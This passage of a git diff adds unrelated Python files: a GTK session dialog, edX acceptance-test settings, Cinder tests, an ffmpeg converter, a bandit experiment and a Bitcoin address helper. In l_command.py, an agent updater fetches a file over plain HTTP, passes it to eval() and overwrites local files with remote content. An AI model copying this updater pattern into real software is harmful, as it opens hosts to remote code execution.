self.combobox.connect("changed", self.on_name_combo_changed) + + if current_session is None: + self.on_name_combo_changed(self.combobox) + else: + self._set_combobox_active_by_name(current_session) + + self.dialog.connect('response', self.on_response) + + def _set_combobox_active_by_name(self, option_name): + model = self.combobox.get_model() + piter = model.get_iter_first() + while piter is not None: + if model.get_value(piter, self.NAME_COLUMN) == option_name: + self.combobox.set_active_iter(piter) + return True + piter = model.iter_next(piter) + return False + + def on_name_combo_changed(self, combo): + name = combo.get_child().get_text() + self['save_button'].set_sensitive(len(name) > 0) + + def on_response(self, dialog, response_id): + if response_id == Gtk.ResponseType.OK: + files = [doc.get_file().get_location() + for doc in self.parent.get_documents() + if doc.get_file().get_location() is not None] + name = self.combobox.get_child().get_text() + self.sessions.add(Session(name, files)) + self.sessions.save() + self.on_updated_sessions() + self.destroy() + +class SessionManagerDialog(Dialog): + def __init__(self, window, on_updated_sessions, on_load_session, sessions, data_dir): + super(SessionManagerDialog, self).__init__('session-manager-dialog', + data_dir, + window) + + self.on_updated_sessions = on_updated_sessions + self.on_load_session = on_load_session + self.sessions = sessions + self.sessions_updated = False + + model = SessionModel(sessions) + + self.view = self['session-view'] + self.view.set_model(model) + + renderer = Gtk.CellRendererText() + column = Gtk.TreeViewColumn(_("Session Name"), renderer, text = model.NAME_COLUMN) + self.view.append_column(column) + + handlers = { + 'on_close_button_clicked': self.on_close_button_clicked, + 'on_open_button_clicked': self.on_open_button_clicked, + 'on_delete_button_clicked': self.on_delete_button_clicked + } + self.ui.connect_signals(handlers) + + def on_delete_event(self, dialog, event): + dialog.hide() + self._should_save_sessions() + return True + + def get_current_session(self): + (model, selected) = self.view.get_selection().get_selected() + if selected is None: + return None + return model.get_value(selected, SessionModel.OBJECT_COLUMN) + + def on_open_button_clicked(self, button): + session = self.get_current_session() + if session is not None: + self.on_load_session(session) + + def on_delete_button_clicked(self, button): + session = self.get_current_session() + self.sessions.remove(session) + self.sessions_updated = True + + def _should_save_sessions(self): + if self.sessions_updated == False: + return + + self.sessions.save() + self.on_updated_sessions() + self.sessions_updated = False + + def on_close_button_clicked(self, button): + self._should_save_sessions() + self.destroy() + + +# ex:ts=4:et: diff --git a/pool/shard008/Python/0076349_acceptance.py b/pool/shard008/Python/0076349_acceptance.py new file mode 100644 index 0000000000000000000000000000000000000000..6766f5057ad1e5ce98747c4ececb84fe72dea8ae --- /dev/null +++ b/pool/shard008/Python/0076349_acceptance.py @@ -0,0 +1,208 @@ +""" +This config file extends the test environment configuration +so that we can run the lettuce acceptance tests. +""" + +# We intentionally define lots of variables that aren't used, and +# want to import all variables from base settings files +# pylint: disable=wildcard-import, unused-wildcard-import + +from .test import * +from .sauce import * + +# You need to start the server in debug mode, +# otherwise the browser will not render the pages correctly +DEBUG = True +SITE_NAME = 'localhost:{}'.format(LETTUCE_SERVER_PORT) + +# Output Django logs to a file +import logging +logging.basicConfig(filename=TEST_ROOT / "log" / "lms_acceptance.log", level=logging.ERROR) + +# set root logger level +logging.getLogger().setLevel(logging.ERROR) + +import os +from random import choice + + +def seed(): + return os.getppid() + +# Silence noisy logs +LOG_OVERRIDES = [ + ('track.middleware', logging.CRITICAL), + ('codejail.safe_exec', logging.ERROR), + ('edx.courseware', logging.ERROR), + ('audit', logging.ERROR), + ('instructor_task.api_helper', logging.ERROR), +] + +for log_name, log_level in LOG_OVERRIDES: + logging.getLogger(log_name).setLevel(log_level) + +update_module_store_settings( + MODULESTORE, + doc_store_settings={ + 'db': 'acceptance_xmodule', + 'collection': 'acceptance_modulestore_%s' % seed(), + }, + module_store_options={ + 'fs_root': TEST_ROOT / "data", + }, + default_store=os.environ.get('DEFAULT_STORE', 'draft'), +) +CONTENTSTORE = { + 'ENGINE': 'xmodule.contentstore.mongo.MongoContentStore', + 'DOC_STORE_CONFIG': { + 'host': 'localhost', + 'db': 'acceptance_xcontent_%s' % seed(), + } +} + +# Set this up so that 'paver lms --settings=acceptance' and running the +# harvest command both use the same (test) database +# which they can flush without messing up your dev db +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': TEST_ROOT / "db" / "test_edx.db", + 'TEST_NAME': TEST_ROOT / "db" / "test_edx.db", + 'OPTIONS': { + 'timeout': 30, + }, + 'ATOMIC_REQUESTS': True, + }, + 'student_module_history': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': TEST_ROOT / "db" / "test_student_module_history.db", + 'TEST_NAME': TEST_ROOT / "db" / "test_student_module_history.db", + 'OPTIONS': { + 'timeout': 30, + }, + } +} + +TRACKING_BACKENDS.update({ + 'mongo': { + 'ENGINE': 'track.backends.mongodb.MongoBackend' + } +}) + +EVENT_TRACKING_BACKENDS['tracking_logs']['OPTIONS']['backends'].update({ + 'mongo': { + 'ENGINE': 'eventtracking.backends.mongodb.MongoBackend', + 'OPTIONS': { + 'database': 'track' + } + } +}) + + +BULK_EMAIL_DEFAULT_FROM_EMAIL = "test@test.org" + +# Forums are disabled in test.py to speed up unit tests, but we do not have +# per-test control for lettuce acceptance tests. +# If you are writing an acceptance test that needs the discussion service enabled, +# do not write it in lettuce, but instead write it using bok-choy. +# DO NOT CHANGE THIS SETTING HERE. +FEATURES['ENABLE_DISCUSSION_SERVICE'] = False + +# Use the auto_auth workflow for creating users and logging them in +FEATURES['AUTOMATIC_AUTH_FOR_TESTING'] = True + +# Enable third-party authentication +FEATURES['ENABLE_THIRD_PARTY_AUTH'] = True +THIRD_PARTY_AUTH = { + "Google": { + "SOCIAL_AUTH_GOOGLE_OAUTH2_KEY": "test", + "SOCIAL_AUTH_GOOGLE_OAUTH2_SECRET": "test" + }, + "Facebook": { + "SOCIAL_AUTH_FACEBOOK_KEY": "test", + "SOCIAL_AUTH_FACEBOOK_SECRET": "test" + } +} + +# Enable fake payment processing page +FEATURES['ENABLE_PAYMENT_FAKE'] = True + +# Enable special exams +FEATURES['ENABLE_SPECIAL_EXAMS'] = True + +# Don't actually send any requests to Software Secure for student identity +# verification. +FEATURES['AUTOMATIC_VERIFY_STUDENT_IDENTITY_FOR_TESTING'] = True + +# HACK +# Setting this flag to false causes imports to not load correctly in the lettuce python files +# We do not yet understand why this occurs. Setting this to true is a stopgap measure +USE_I18N = True + +FEATURES['ENABLE_FEEDBACK_SUBMISSION'] = False + +# Include the lettuce app for acceptance testing, including the 'harvest' django-admin command +INSTALLED_APPS += ('lettuce.django',) +LETTUCE_APPS = ('courseware', 'instructor') + +# Lettuce appears to have a bug that causes it to search +# `instructor_task` when we specify the `instructor` app. +# This causes some pretty cryptic errors as lettuce tries +# to parse files in `instructor_task` as features. +# As a quick workaround, explicitly exclude the `instructor_task` app. +# The coursewarehistoryextended app also falls prey to this fuzzy +# for the courseware app. +LETTUCE_AVOID_APPS = ('instructor_task', 'coursewarehistoryextended') + +LETTUCE_BROWSER = os.environ.get('LETTUCE_BROWSER', 'chrome') + +# Where to run: local, saucelabs, or grid +LETTUCE_SELENIUM_CLIENT = os.environ.get('LETTUCE_SELENIUM_CLIENT', 'local') + +SELENIUM_GRID = { + 'URL': 'http://127.0.0.1:4444/wd/hub', + 'BROWSER': LETTUCE_BROWSER, +} + + +##################################################################### +# See if the developer has any local overrides. +try: + from .private import * # pylint: disable=import-error +except ImportError: + pass + +# Because an override for where to run will affect which ports to use, +# set these up after the local overrides. +# Configure XQueue interface to use our stub XQueue server +XQUEUE_INTERFACE = { + "url": "http://127.0.0.1:{0:d}".format(XQUEUE_PORT), + "django_auth": { + "username": "lms", + "password": "***REMOVED***" + }, + "basic_auth": ('anant', 'agarwal'), +} + +# Point the URL used to test YouTube availability to our stub YouTube server +YOUTUBE['API'] = "http://127.0.0.1:{0}/get_youtube_api/".format(YOUTUBE_PORT) +YOUTUBE['METADATA_URL'] = "http://127.0.0.1:{0}/test_youtube/".format(YOUTUBE_PORT) +YOUTUBE['TEXT_API']['url'] = "127.0.0.1:{0}/test_transcripts_youtube/".format(YOUTUBE_PORT) + +if FEATURES.get('ENABLE_COURSEWARE_SEARCH') or \ + FEATURES.get('ENABLE_DASHBOARD_SEARCH') or \ + FEATURES.get('ENABLE_COURSE_DISCOVERY'): + # Use MockSearchEngine as the search engine for test scenario + SEARCH_ENGINE = "search.tests.mock_search_engine.MockSearchEngine" + +# Generate a random UUID so that different runs of acceptance tests don't break each other +import uuid +SECRET_KEY = uuid.uuid4().hex + +############################### PIPELINE ####################################### + +PIPELINE_ENABLED = False + +# We want to make sure that any new migrations are run +# see https://groups.google.com/forum/#!msg/django-developers/PWPj3etj3-U/kCl6pMsQYYoJ +MIGRATION_MODULES = {} diff --git a/pool/shard008/Python/0076350_makeTRECRun.py b/pool/shard008/Python/0076350_makeTRECRun.py new file mode 100644 index 0000000000000000000000000000000000000000..662747a2e27d06acbc110513e2349924fc08a51e --- /dev/null +++ b/pool/shard008/Python/0076350_makeTRECRun.py @@ -0,0 +1,33 @@ +import sys + +sim=10 ** 7 +oldtopic="NULL" +rank=1 +shots = dict() +trec=open(sys.argv[2]+".trec","a") +trectr=open(sys.argv[2]+".trectr","a") +with open(sys.argv[1],"r") as fil: + for row in fil: + row = row.split() + if oldtopic == "NULL": + oldtopic = row[1] + elif oldtopic != row[0]: + for key in ["70recall", "80recall","reasonable"]: + if key in shots: + print >> trectr, oldtopic, key, shots[key] + # Do not implicitly call shots + oldtopic=row[0] + shots=dict() + rank=1 + if row[1] in ["70recall","80recall","reasonable"]: + shots[row[1]] = rank + else: + print >> trec, row[0],"Q0",row[1],rank,sim-rank,sys.argv[2] + print >> trectr, row[0],"Q0",row[1],rank,sim-rank,sys.argv[2] + rank += 1 +for key in ["70recall", "80recall","reasonable"]: + if key in shots: + print >> trectr, oldtopic, key, shots[key] + # Do not implicitly call shots +trec.close() +trectr.close() diff --git a/pool/shard008/Python/0076354_Enum.py b/pool/shard008/Python/0076354_Enum.py new file mode 100644 index 0000000000000000000000000000000000000000..a02ddca6abe2b3a2dbb47ffbf9c1c1dcdeaed619 --- /dev/null +++ b/pool/shard008/Python/0076354_Enum.py @@ -0,0 +1,39 @@ +import types, string, pprint, exceptions + +class EnumException(exceptions.Exception): + pass + +class Enumeration: + def __init__(self, name, enumList, startAt=0): + self.__doc__ = name + lookup = { } + reverseLookup = { } + i = startAt + uniqueNames = [ ] + uniqueValues = [ ] + for x in enumList: + if type(x) == types.TupleType: + x, i = x + if type(x) != types.StringType: + raise EnumException, "enum name is not a string: " + x + if type(i) != types.IntType: + raise EnumException, "enum value is not an integer: " + i + if x in uniqueNames: + raise EnumException, "enum name is not unique: " + x + if i in uniqueValues: + raise EnumException, "enum value is not unique for " + x + uniqueNames.append(x) + uniqueValues.append(i) + lookup[x] = i + reverseLookup[i] = x + i = i + 1 + self.lookup = lookup + self.reverseLookup = reverseLookup + def __getattr__(self, attr): + if not self.lookup.has_key(attr): + raise AttributeError + + setattr(self, attr, self.lookup[attr]) + return self.lookup[attr] + def whatis(self, value): + return self.reverseLookup[value] diff --git a/pool/shard008/Python/0076356_0031_auto_20170813_0757.py b/pool/shard008/Python/0076356_0031_auto_20170813_0757.py new file mode 100644 index 0000000000000000000000000000000000000000..e5381dd457acfcde3999c184eeb4c290e1c60dde --- /dev/null +++ b/pool/shard008/Python/0076356_0031_auto_20170813_0757.py @@ -0,0 +1,30 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.10.5 on 2017-08-13 07:57 +from __future__ import unicode_literals + +from django.db import migrations + + +class Migration(migrations.Migration): + + dependencies = [ + ('street_agitation_bot', '0030_auto_20170813_0756'), + ] + + operations = [ + migrations.RenameField( + model_name='conversationstate', + old_name='agitator2', + new_name='agitator', + ), + migrations.RenameField( + model_name='cubeusageinevent', + old_name='delivered_by2', + new_name='delivered_by', + ), + migrations.RenameField( + model_name='cubeusageinevent', + old_name='shipped_by2', + new_name='shipped_by', + ), + ] diff --git a/pool/shard008/Python/0076361_test_cisco_lookup_service.py b/pool/shard008/Python/0076361_test_cisco_lookup_service.py new file mode 100644 index 0000000000000000000000000000000000000000..ea35beca7da88b63526b922109069324b379f728 --- /dev/null +++ b/pool/shard008/Python/0076361_test_cisco_lookup_service.py @@ -0,0 +1,96 @@ +# (c) Copyright 2014 Cisco Systems Inc. +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. +# + + +"""Unit tests for Cisco FC san lookup service.""" + +from cinder import exception +from cinder import test +from cinder.volume import configuration as conf +from cinder.zonemanager.fc_san_lookup_service import FCSanLookupService + +_target_ns_map = {'100000051e55a100': ['20240002ac000a50']} +_initiator_ns_map = {'100000051e55a100': ['10008c7cff523b01']} +_device_map_to_verify = { + '100000051e55a100': { + 'initiator_port_wwn_list': [ + '10008c7cff523b01'], 'target_port_wwn_list': ['20240002ac000a50']}} +_fabric_wwn = '100000051e55a100' + + +class TestFCSanLookupService(FCSanLookupService, test.TestCase): + + def setUp(self): + super(TestFCSanLookupService, self).setUp() + self.configuration = self.setup_config() + + # override some of the functions + def __init__(self, *args, **kwargs): + test.TestCase.__init__(self, *args, **kwargs) + + def setup_config(self): + configuration = conf.Configuration(None) + # fill up config + configuration.fc_san_lookup_service = ('cinder.tests.zonemanager' + '.test_cisco_lookup_service' + '.FakeCiscoFCSanLookupService') + return configuration + + def test_get_device_mapping_from_network(self): + GlobalParams._is_normal_test = True + initiator_list = ['10008c7cff523b01'] + target_list = ['20240002ac000a50', '20240002ac000a40'] + device_map = self.get_device_mapping_from_network( + initiator_list, target_list) + self.assertDictMatch(device_map, _device_map_to_verify) + + def test_get_device_mapping_from_network_for_invalid_config(self): + GlobalParams._is_normal_test = False + initiator_list = ['10008c7cff523b01'] + target_list = ['20240002ac000a50', '20240002ac000a40'] + self.assertRaises(exception.FCSanLookupServiceException, + self.get_device_mapping_from_network, + initiator_list, target_list) + + +class FakeCiscoFCSanLookupService(object): + + def __init__(self, **kwargs): + pass + + def get_device_mapping_from_network(self, + initiator_wwn_list, + target_wwn_list): + if not GlobalParams._is_normal_test: + raise exception.FCSanLookupServiceException("Error") + device_map = {} + initiators = [] + targets = [] + for i in initiator_wwn_list: + if (i in _initiator_ns_map[_fabric_wwn]): + initiators.append(i) + for t in target_wwn_list: + if (t in _target_ns_map[_fabric_wwn]): + targets.append(t) + device_map[_fabric_wwn] = { + 'initiator_port_wwn_list': initiators, + 'target_port_wwn_list': targets} + return device_map + + +class GlobalParams(object): + global _is_normal_test + _is_normal_test = True diff --git a/pool/shard008/Python/0076366_utils.py b/pool/shard008/Python/0076366_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..06dd70bbeb96e38d883fbb66cf749023b6045b9f --- /dev/null +++ b/pool/shard008/Python/0076366_utils.py @@ -0,0 +1,22 @@ +#!/usr/bin/python3 +# -*- coding: utf8 -*- +# -*- Mode: Python; py-indent-offset: 4 -*- + +"""File storage adapter for timevortex project""" + +import shutil +from os.path import exists +from django.conf import settings +from timevortex.utils.filestorage import SETTINGS_DEFAULT_FILE_STORAGE_FOLDER, SETTINGS_FILE_STORAGE_FOLDER +from features.steps.test_utils import TEST_CC_SITE_ID + +STORAGE_SPACE = getattr(settings, SETTINGS_FILE_STORAGE_FOLDER, SETTINGS_DEFAULT_FILE_STORAGE_FOLDER) + + +def clean_folder(): + folder_path = "%s/%s" % (STORAGE_SPACE, TEST_CC_SITE_ID) + if exists(folder_path): + shutil.rmtree(folder_path) + folder_path = "%s/%s" % (STORAGE_SPACE, "system") + if exists(folder_path): + shutil.rmtree(folder_path) diff --git a/pool/shard008/Python/0076368_l_command.py b/pool/shard008/Python/0076368_l_command.py new file mode 100644 index 0000000000000000000000000000000000000000..4f53bbe8d39d7a8fa4658e0cdd7f17701fa8d417 --- /dev/null +++ b/pool/shard008/Python/0076368_l_command.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python +#_*_encoding:utf-8_*_ +# encoding:utf-8 + +import os,sys +import httplib2,hashlib +import commands +http = httplib2.Http() + +def l_main(cmd): + if cmd == 'l_version' :return l_version() + if cmd == 'l_update' :return l_update() + if cmd == 'l_pwd' :return l_pwd() + #if cmd == 'l_restart' :return l_restart() + return False + +def l_restart(): + restart = '/bin/pwd && sh 1.sh' + ifresta = '/bin/ps aux | /bin/grep restart.sh | /bin/grep -v grep | /usr/bin/wc -l' + ifcomma = os.popen(ifresta).readlines()[0].split()[0] + if int(ifcomma) == 0: + #os.execve('/usr/bin/python /root/starl/Agent/Server/s.py', '1', '2') + #os.popen(restart).readlines() + #print commands.getstatusoutput('/root/starl/Agent/Server/restart.sh.x') + return 'Restart...' + else: + return 'Restart Ing...' + +def l_pwd(): + #print os.getppid() + #print os.getpid() + return sys.path[0] + +def l_version(): + return '0.1' + +def file_md5(filename): + f = open(filename, 'a+r') + return hashlib.md5(f.read()).hexdigest() + +def file_write(filename, up_path): + url = 'http://agent.mangle.starl.com.cn/'+filename + f = open (up_path, 'w') + f.write(get_http(url)) + return 1 + +def get_http(url): + response,content = http.request(url,'GET') + return content + +def l_update(): + update_url = 'http://agent.mangle.starl.com.cn/update.txt' + content = get_http(update_url) + update_dict = eval(content) + update_done = {} + if update_dict.get('version') == l_version(): + return 'latest' + else: + del update_dict['version'] + + for up_name, up_md5 in update_dict.items(): + up_path = sys.path[0] + '/' + up_name + local_file_md5 = file_md5(up_path) + serve_file_md5 = up_md5 + if local_file_md5 != serve_file_md5: + if file_write(up_name, up_path): + update_done[up_name] = 'update ok...' + else: + update_done[up_name] = 'update no...' + + if update_done: + return update_done + else: + return 'All latest...' diff --git a/pool/shard008/Python/0076373_vid2mp4.py b/pool/shard008/Python/0076373_vid2mp4.py new file mode 100644 index 0000000000000000000000000000000000000000..02daff00d6835e6176bb6fef5da02fb261e0c3cd --- /dev/null +++ b/pool/shard008/Python/0076373_vid2mp4.py @@ -0,0 +1,145 @@ +#!/usr/bin/env python +# file: vid2mp4.py +# vim:fileencoding=utf-8:fdm=marker:ft=python +# +# Copyright © 2013-2017 R.F. Smith . +# SPDX-License-Identifier: MIT +# Created: 2013-11-16T18:41:21+01:00 +# Last modified: 2022-01-11T21:06:35+0100 +"""Convert video files to H.264/AAC streams in an MP4 container.""" + +from functools import partial +import argparse +import concurrent.futures as cf +import logging +import os +import subprocess as sp +import sys + +__version__ = "2022.01.11" + + +def main(): + """ + Entry point for vid2mp4. + """ + args = setup() + starter = partial(runencoder, crf=args.crf, preset=args.preset) + with cf.ThreadPoolExecutor(max_workers=os.cpu_count()) as tp: + fl = [tp.submit(starter, t) for t in args.files] + for fut in cf.as_completed(fl): + fn, rv = fut.result() + if rv == 0: + logging.info(f'finished "{fn}"') + elif rv < 0: + logging.warning(f'file "{fn}" has unknown extension, ignoring it.') + else: + logging.error(f"conversion of {fn} failed, return code {rv}") + + +def setup(): + parser = argparse.ArgumentParser(description=__doc__) + crfh = "constant rate factor (lower is better, default 29)" + parser.add_argument("-c", "--crf", type=int, default=29, help=crfh) + parser.add_argument( + "-p", + "--preset", + default="medium", + choices=[ + "ultrafast", + "superfast", + "veryfast", + "faster", + "fast", + "medium", + "slow", + "slower", + "veryslow", + ], + help="preset (default medium) slower is smaller file", + ) + parser.add_argument( + "--log", + default="warning", + choices=["debug", "info", "warning", "error"], + help="logging level (defaults to 'warning')", + ) + parser.add_argument("-v", "--version", action="version", version=__version__) + parser.add_argument( + "files", metavar="file", nargs="+", help="one or more files to process" + ) + args = parser.parse_args(sys.argv[1:]) + logging.basicConfig( + level=getattr(logging, args.log.upper(), None), + format="%(levelname)s: %(message)s", + ) + logging.debug(f"command line arguments = {sys.argv}") + logging.debug(f"parsed arguments = {args}") + # Check for required programs. + try: + sp.run(["ffmpeg"], stdout=sp.DEVNULL, stderr=sp.DEVNULL) + logging.debug("found “ffmpeg”") + except FileNotFoundError: + logging.error("the “ffmpeg” program cannot be found") + sys.exit(1) + return args + + +def runencoder(fname, crf, preset): + """ + Convert a video file to H.264/AAC streams in an MP4 container. + + Arguments: + fname: Name of the file to convert. + crf: Constant rate factor. See ffmpeg docs. + preset: Encoding preset. See ffmpeg docs. + + Returns: + (fname, return value) + """ + basename, ext = os.path.splitext(fname) + known = [ + ".mp4", + ".avi", + ".wmv", + ".flv", + ".mpg", + ".mpeg", + ".mov", + ".ogv", + ".mkv", + ".webm", + ".gif", + ] + if ext.lower() not in known: + return fname, -1 + if ext.lower() == ".mp4": + ofn = basename + "_mod.mp4" + else: + ofn = basename + ".mp4" + args = [ + "ffmpeg", + "-i", + fname, + "-c:v", + "libx264", + "-crf", + str(crf), + "-preset", + preset, + "-flags", + "+mv4+aic", + "-c:a", + "aac", + "-sn", + "-y", + ofn, + ] + logging.debug(" ".join(args)) + logging.info(f'starting conversion of "{fname}".') + cp = sp.run(args, stdout=sp.DEVNULL, stderr=sp.DEVNULL) + return fname, cp.returncode + + +if __name__ == "__main__": + main() diff --git a/pool/shard008/Python/0076375_thompson.py b/pool/shard008/Python/0076375_thompson.py new file mode 100644 index 0000000000000000000000000000000000000000..d1c6959702c933af0706174fe2c23c5a6d8b8284 --- /dev/null +++ b/pool/shard008/Python/0076375_thompson.py @@ -0,0 +1,197 @@ +# python3 +# pylint: disable=g-bad-file-header +# Copyright 2021 DeepMind Technologies Limited. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ============================================================================ +"""Thompson sampling evaluation of ENN agent on bandit task.""" + +import functools +from typing import Dict, Optional, Tuple + +from acme.utils import loggers +import chex +from enn import base as enn_base +from enn import losses +from enn import utils +import haiku as hk +import jax +import jax.numpy as jnp +from neural_testbed import agents +from neural_testbed import base as testbed_base +from neural_testbed import generative +from neural_testbed.bandit import replay +import optax + + +class ThompsonEnnBandit: + """Experiment of Thompson sampling bandit.""" + + def __init__( + self, + enn_config: agents.VanillaEnnConfig, + input_dim: int, + num_actions: int, + temperature: float = 1, + steps_per_obs: int = 1, + logger: Optional[loggers.Logger] = None, + batch_size: int = 128, + l2_weight_decay: float = 1, + replay_capacity: int = 10_000, + learning_rate: float = 1e-3, + seed: int = 0, + ): + """Initialize a Thompson Sampling experiment.""" + + # Initializing the agent internals + prior = testbed_base.PriorKnowledge( + input_dim=input_dim, + num_train=100, + num_classes=2, + tau=1, + layers=2, + temperature=temperature, + ) + self.enn = enn_config.enn_ctor(prior) + loss_fn = enn_config.loss_ctor(prior, self.enn) + loss_fn = functools.partial(loss_fn, self.enn) + + def predicate(module_name: str, name: str, value) -> bool: + del name, value + return 'prior' not in module_name + + def loss_with_decay( + params: hk.Params, + batch: enn_base.Batch, + key: enn_base.RngKey) -> Tuple[enn_base.Array, enn_base.LossMetrics]: + # Adding annealing l2 weight decay manually + data_loss, metrics = loss_fn(params, batch, key) + l2_weight = losses.l2_weights_with_predicate(params, predicate) + metrics['l2_weight'] = l2_weight + decay_loss = l2_weight_decay * l2_weight / batch.extra['num_steps'] + return data_loss + decay_loss, metrics + self._loss_with_decay = jax.jit(loss_with_decay) + + optimizer = optax.adam(learning_rate) + + # Forward network at random index + def forward(params: hk.Params, + inputs: enn_base.Array, + key: enn_base.RngKey) -> enn_base.Array: + index = self.enn.indexer(key) + return self.enn.apply(params, inputs, index) + self._forward = jax.jit(forward) + + # Perform an SGD step on a batch of data + def sgd_step( + params: hk.Params, + opt_state: optax.OptState, + batch: enn_base.Batch, + key: enn_base.RngKey, + ) -> Tuple[hk.Params, optax.OptState]: + grads, _ = jax.grad(loss_with_decay, has_aux=True)(params, batch, key) + updates, new_opt_state = optimizer.update(grads, opt_state) + new_params = optax.apply_updates(params, updates) + return new_params, new_opt_state + self._sgd_step = jax.jit(sgd_step) + + # Generating the underlying function + self.rng = hk.PRNGSequence(seed) + self.actions = jax.random.normal(next(self.rng), [num_actions, input_dim]) + logit_fn = generative.make_2layer_mlp_logit_fn( + input_dim=input_dim, + temperature=temperature, + hidden=50, + num_classes=2, + key=next(self.rng), + ) + logits = logit_fn(self.actions) + + # Vector of probabilities of rewards for each action + self.probs = jax.nn.softmax(logits)[:, 1] + chex.assert_shape(self.probs, [num_actions]) + self.max_prob = jnp.max(self.probs) + + # Initializing the network + index = self.enn.indexer(next(self.rng)) + self.params = self.enn.init(next(self.rng), self.actions, index) + self.opt_state = optimizer.init(self.params) + self._steps_per_obs = steps_per_obs + self._temperature = temperature + self._batch_size = batch_size + self.l2_weight_decay = l2_weight_decay + self.replay = replay.Replay(capacity=replay_capacity) + self.logger = ( + logger or loggers.make_default_logger('experiment', time_delta=0)) + self.num_steps = 0 + self.total_regret = 0 + + def select_action(params: hk.Params, + key: enn_base.RngKey) -> Dict[str, enn_base.Array]: + net_key, noise_key, selection_key = jax.random.split(key, 3) + net_out = forward(params, self.actions, net_key) + logits = utils.parse_net_output(net_out) + probs = jax.nn.softmax(logits)[:, 1] + action = _random_argmax(probs, selection_key) + chosen_prob = self.probs[action] + reward = jax.random.bernoulli(noise_key, chosen_prob) + regret = self.max_prob - chosen_prob + return { + 'action': action, + 'reward': reward, + 'regret': regret, + 'chosen_prob': chosen_prob, # for debugging + } + self._select_action = jax.jit(select_action) + + def run(self, num_steps: int, log_freq: int = 1): + """Run a TS experiment for num_steps.""" + for _ in range(num_steps): + self.num_steps += 1 + regret = self.step() + self.total_regret += regret + if self.num_steps % log_freq == 0: + self.logger.write({ + 'total_regret': self.total_regret, + 't': self.num_steps, + 'ave_regret': self.total_regret / self.num_steps, + 'regret': regret, + }) + for _ in range(self._steps_per_obs): + if self.num_steps >= 1: + self.params, self.opt_state = self._sgd_step( + self.params, self.opt_state, self._get_batch(), next(self.rng)) + + def step(self) -> float: + """Select action, update replay and return the regret.""" + results = self._select_action(self.params, next(self.rng)) + self.replay.add([ + self.actions[results['action']], + jnp.ones([1]) * results['reward'], + jnp.ones([1], dtype=jnp.int64) * self.num_steps, + ]) + return float(results['regret']) + + def _get_batch(self) -> enn_base.Batch: + actions, rewards, indices = self.replay.sample(self._batch_size) + return enn_base.Batch( + actions, rewards, indices, extra={'num_steps': self.num_steps}) + + +def _random_argmax(vals: chex.Array, + key: chex.PRNGKey, + scale: float = 1e-7) -> int: + """Select argmax with additional random noise.""" + noise = jax.random.uniform(key, vals.shape) + return jnp.argmax(vals + scale * noise, axis=0) + diff --git a/pool/shard008/Python/0076382_column_chart.py b/pool/shard008/Python/0076382_column_chart.py new file mode 100644 index 0000000000000000000000000000000000000000..11bca44a28dccea7e23157b672306bf32e52a44d --- /dev/null +++ b/pool/shard008/Python/0076382_column_chart.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python +# pylint: disable=W0212 + +import leather + +from agate import utils + + +def column_chart(self, label=0, value=1, path=None, width=None, height=None): + """ + Render a column chart using :class:`leather.Chart`. + + :param label: + The name or index of a column to plot as the labels of the chart. + Defaults to the first column in the table. + :param value: + The name or index of a column to plot as the values of the chart. + Defaults to the second column in the table. + :param path: + If specified, the resulting SVG will be saved to this location. If + :code:`None` and running in IPython, then the SVG will be rendered + inline. Otherwise, the SVG data will be returned as a string. + :param width: + The width of the output SVG. + :param height: + The height of the output SVG. + """ + if type(label) is int: + label_name = self.column_names[label] + else: + label_name = label + + if type(value) is int: + value_name = self.column_names[value] + else: + value_name = value + + chart = leather.Chart() + chart.add_x_axis(name=label_name) + chart.add_y_axis(name=value_name) + chart.add_columns(self, x=label, y=value) + + return chart.to_svg(path=path, width=width, height=height) diff --git a/pool/shard008/Python/0076384_address.py b/pool/shard008/Python/0076384_address.py new file mode 100644 index 0000000000000000000000000000000000000000..d1fb97b024be23103db9ad6423828284ff50c770 --- /dev/null +++ b/pool/shard008/Python/0076384_address.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python3 +# Copyright (c) 2016-2018 The Bitcoin Core developers +# Distributed under the MIT software license, see the accompanying +# file COPYING or http://www.opensource.org/licenses/mit-license.php. +"""Encode and decode BASE58, P2PKH and P2SH addresses.""" + +from .script import hash256, hash160, sha256, CScript, OP_0 +from .util import bytes_to_hex_str, hex_str_to_bytes + +from . import segwit_addr + +chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz' + +def byte_to_base58(b, version): + result = '' + str = bytes_to_hex_str(b) + str = bytes_to_hex_str(chr(version).encode('latin-1')) + str + checksum = bytes_to_hex_str(hash256(hex_str_to_bytes(str))) + str += checksum[:8] + value = int('0x'+str,0) + while value > 0: + result = chars[value % 58] + result + value //= 58 + while (str[:2] == '00'): + result = chars[0] + result + str = str[2:] + return result + +# TODO: def base58_decode + +def keyhash_to_p2pkh(hash, main = False): + assert (len(hash) == 20) + version = 0 if main else 111 + return byte_to_base58(hash, version) + +def scripthash_to_p2sh(hash, main = False): + assert (len(hash) == 20) + version = 5 if main else 196 + return byte_to_base58(hash, version) + +def key_to_p2pkh(key, main = False): + key = check_key(key) + return keyhash_to_p2pkh(hash160(key), main) + +def script_to_p2sh(script, main = False): + script = check_script(script) + return scripthash_to_p2sh(hash160(script), main) + +def key_to_p2sh_p2wpkh(key, main = False): + key = check_key(key) + p2shscript = CScript([OP_0, hash160(key)]) + return script_to_p2sh(p2shscript, main) + +def program_to_witness(version, program, main = False): + if (type(program) is str): + program = hex_str_to_bytes(program) + assert 0 <= version <= 